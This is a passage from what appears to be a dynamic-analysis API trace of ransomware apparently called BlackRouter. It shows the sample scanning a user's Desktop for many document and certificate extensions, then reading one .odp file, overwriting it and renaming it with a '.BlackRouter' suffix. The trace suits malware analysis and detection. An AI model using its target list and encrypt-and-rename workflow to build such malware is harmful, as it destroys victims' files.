returned 1 [0040.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.270] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.aspx", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.271] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.271] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.js", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.271] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.271] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.271] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.crt", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.271] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.272] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.272] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.csr", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.272] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.272] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.272] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.p12", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.273] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.273] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pem", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.273] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.273] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.odt", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.274] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sxw", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.274] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.stw", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.3ds", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.max", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.276] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.276] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.276] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.3dm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.277] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ods", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.277] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sxc", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.278] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.stc", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.278] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.dif", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.279] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.279] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.279] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.slk", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.280] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.280] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wb2", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.280] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.280] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.odp", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.280] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.281] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp", lpFilePart=0x0) returned 0x3c [0040.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnycnhywpxszrih18p.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.281] GetFileType (hFile=0x258) returned 0x1 [0040.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.281] GetFileType (hFile=0x258) returned 0x1 [0040.281] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x11ab9 [0040.281] ReadFile (in: hFile=0x258, lpBuffer=0x290bbc8, nNumberOfBytesToRead=0x11ab9, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x290bbc8*, lpNumberOfBytesRead=0x1ae708*=0x11ab9, lpOverlapped=0x0) returned 1 [0040.282] CloseHandle (hObject=0x258) returned 1 [0040.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp", lpFilePart=0x0) returned 0x3c [0040.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnycnhywpxszrih18p.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.287] GetFileType (hFile=0x258) returned 0x1 [0040.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.287] GetFileType (hFile=0x258) returned 0x1 [0040.287] WriteFile (in: hFile=0x258, lpBuffer=0x291dd88*, nNumberOfBytesToWrite=0x11ac0, lpNumberOfBytesWritten=0x1ae768, lpOverlapped=0x0 | out: lpBuffer=0x291dd88*, lpNumberOfBytesWritten=0x1ae768*=0x11ac0, lpOverlapped=0x0) returned 1 [0040.289] CloseHandle (hObject=0x258) returned 1 [0040.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp", lpFilePart=0x0) returned 0x3c [0040.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp.BlackRouter", lpFilePart=0x0) returned 0x48 [0040.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnycnhywpxszrih18p.odp"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd96d9e0, ftCreationTime.dwHighDateTime=0x1d45f1c, ftLastAccessTime.dwLowDateTime=0xe9b219f0, ftLastAccessTime.dwHighDateTime=0x1d4569b, ftLastWriteTime.dwLowDateTime=0xbe876510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0)) returned 1 [0040.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.291] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnycnhywpxszrih18p.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GNYcnHyWpXszrIh18p.odp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnycnhywpxszrih18p.odp.blackrouter")) returned 1 [0040.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.292] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.292] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sxd", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.std", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, 